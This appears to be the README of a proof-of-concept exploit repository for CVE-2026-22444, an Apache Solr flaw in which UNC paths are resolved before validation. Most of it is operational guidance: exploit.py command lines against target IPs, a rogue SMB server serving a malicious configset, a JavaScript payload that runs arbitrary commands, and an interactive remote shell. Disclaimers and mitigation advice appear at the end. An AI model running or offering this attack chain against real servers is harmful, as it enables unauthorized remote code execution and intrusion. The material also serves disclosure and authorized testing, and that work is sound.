CVE-2026-22444

Apache Solr UNC Path Validation Vulnerability

Overview

CVE-2026-22444 is a security vulnerability affecting Apache Solr, publicly disclosed around January 20, 2026. The vulnerability stems from insufficient input validation (CWE-20: Improper Input Validation) on certain API parameters of Apache Solr's "create core" API, allowing attackers to bypass security rules when Solr runs in "standalone" mode, potentially leading to data leakage, remote code execution (RCE), or NTLM hash disclosure.

Specifically, if Solr does not have authentication enabled or the user has permission to create cores, an attacker can abuse this API through carefully crafted requests to access protected files or execute malicious operations.

Disclosure Information

The vulnerability was discovered and reported to Apache in 2025, and publicly disclosed on the oss-security mailing list:

Official Announcement: https://www.openwall.com/lists/oss-security/2026/01/20/5

Technical Details

The vulnerability exists in CoreContainer.java, where the CoreDescriptor constructor triggers network operations before UNC path validation is performed:

• instancePath.toAbsolutePath() may resolve UNC paths over the network
• Files.exists() checks perform network calls
• Files.newInputStream() performs network reads
• Path validation via assertPathAllowed() only occurs after these operations

Timeline

• 2025-08-20: Vulnerability discovered and reported to Apache
• 2026-01-20: Public disclosure

Repository Contents

• exploit.py - Proof-of-concept exploit script
• files/ - Supporting files required for the exploit (configset)
  • rce.js - Remote code execution JavaScript payload
  • conf/ - Solr configuration files
    • solrconfig.xml - Defines the malicious update processor chain
    • schema.xml - Solr schema definition
    • managed-schema - Managed schema file
• requirements.txt - Python dependencies

Usage Instructions

Environment Requirements

• Python 3.6+
• Target system must be running Apache Solr (Windows system, standalone mode)
• Target Solr must not have authentication enabled, or the attacker must have permission to create cores

Installing Dependencies

pip install -r requirements.txt

Dependencies include:

• requests>=2.25.0 - For HTTP requests
• impacket>=0.10.0 - For creating the SMB server

Basic Usage

1. Basic Attack (Automatic Local IP Detection)

python3 exploit.py <target-ip>

Example:

python3 exploit.py 192.168.1.100

2. Specify Solr Port

python3 exploit.py <target-ip> --port <port>

Example:

python3 exploit.py 192.168.1.100 --port 8983

3. Specify SMB Server Configuration

python3 exploit.py <target-ip> --smb-host <smb-server-ip> --smb-port <smb-port>

Example:

python3 exploit.py 192.168.1.100 --smb-host 192.168.1.50 --smb-port 445

4. Custom SMB Share Name

python3 exploit.py <target-ip> --share-name <share-name>

Example:

python3 exploit.py 192.168.1.100 --share-name myshare

Command Line Arguments

Positional arguments:
  target_host           Target Solr server IP address

Optional arguments:
  -h, --help            Show help message and exit
  --port, -p PORT       Solr server port (default: 8983)
  --smb-host SMB_HOST   SMB server IP (default: auto-detect local IP)
  --smb-port SMB_PORT   SMB server port (default: 445)
  --share-name SHARE    SMB share name (default: malicious)

Attack Flow

1. Start SMB Server: The script starts a local SMB server sharing the files directory
2. Create Malicious Core: Sends a core creation request to the target Solr, pointing to the malicious configset on the SMB server
3. Trigger Payload: Solr downloads the configuration files from the SMB server, which contain malicious JavaScript code
4. Execute Commands: Triggers JavaScript payload execution by sending an update request
5. Interactive Shell: After successful exploitation, enters an interactive command execution environment

Interactive Shell Usage

After successful exploitation, the script provides an interactive shell:

solr> whoami
[+] exit_code: 0, status: success
--- stdout ---
desktop-abc123\user

solr> dir
[+] exit_code: 0, status: success
--- stdout ---
Volume in drive C has no label.
...

solr> exit
[*] exiting shell...

Supported commands:

• Any Windows CMD command
• exit or quit - Exit the interactive shell
• Ctrl+C - Interrupt and exit

How It Works

The vulnerability exploits the following chain of techniques:

1. UNC Path Injection: Injects a UNC path (e.g., //attacker-ip/share) via the configSet parameter
2. SMB Server: Hosts the malicious Solr configuration files
3. JavaScript RCE: Leverages Solr's StatelessScriptUpdateProcessorFactory to execute JavaScript code
4. Command Execution: Executes arbitrary commands on the target system via the Java Runtime API

Advanced Usage Examples

Full Parameter Example

python3 exploit.py 192.168.35.31 \
  --port 8983 \
  --smb-host 192.168.35.50 \
  --smb-port 445 \
  --share-name exploit

File Structure

CVE-2026-22444/
├── exploit.py              # Main exploit script
├── requirements.txt        # Python dependencies
├── files/                  # Malicious configset
│   ├── rce.js             # RCE JavaScript payload
│   └── conf/              # Solr configuration directory
│       ├── solrconfig.xml # Configures malicious update processor
│       ├── schema.xml     # Schema definition
│       └── managed-schema # Managed schema
└── README.md              # This file

Payload Description

rce.js: This is the core RCE payload, which:

• Intercepts Solr update operations (add, delete, commit, rollback)
• Retrieves the cmd parameter from request parameters
• Executes commands using the Java Runtime API
• Captures stdout and stderr
• Returns execution results and exit codes

solrconfig.xml: Configures Solr to use the malicious update processor chain:

• Defines the rce-chain update processor chain
• References the rce.js script
• Sets the /update request handler to use this chain

Important Notes

⚠️ Warning: This tool is intended solely for authorized security testing and educational purposes. Using this tool to attack systems without authorization is illegal.

• Ensure you have explicit written authorization before use
• Only use in test environments or environments where you have legal authorization
• Do not use on production systems unless in a controlled penetration testing environment
• Users are responsible for their own actions

Mitigation Recommendations

1. Upgrade Solr: Upgrade Apache Solr to a version that fixes this vulnerability
2. Enable Authentication: Ensure Solr has strong authentication mechanisms enabled
3. Restrict Core Creation Permissions: Only grant trusted users permission to create cores
4. Network Isolation: Deploy Solr in a protected network environment
5. Firewall Rules: Restrict access to the Solr admin interface
6. Monitor Suspicious Activity: Monitor UNC path access and abnormal core creation requests

Reference Links

• Apache Solr Official Website
• OSS Security Mailing List Announcement
• CWE-20: Improper Input Validation

License

This project is licensed under the MIT License. Please refer to the LICENSE file for details.

Disclaimer

This tool and information are provided for security research and educational purposes only. The author is not responsible for any damage caused by misuse of this information or tool. Users should comply with all applicable laws and regulations and obtain proper authorization before use.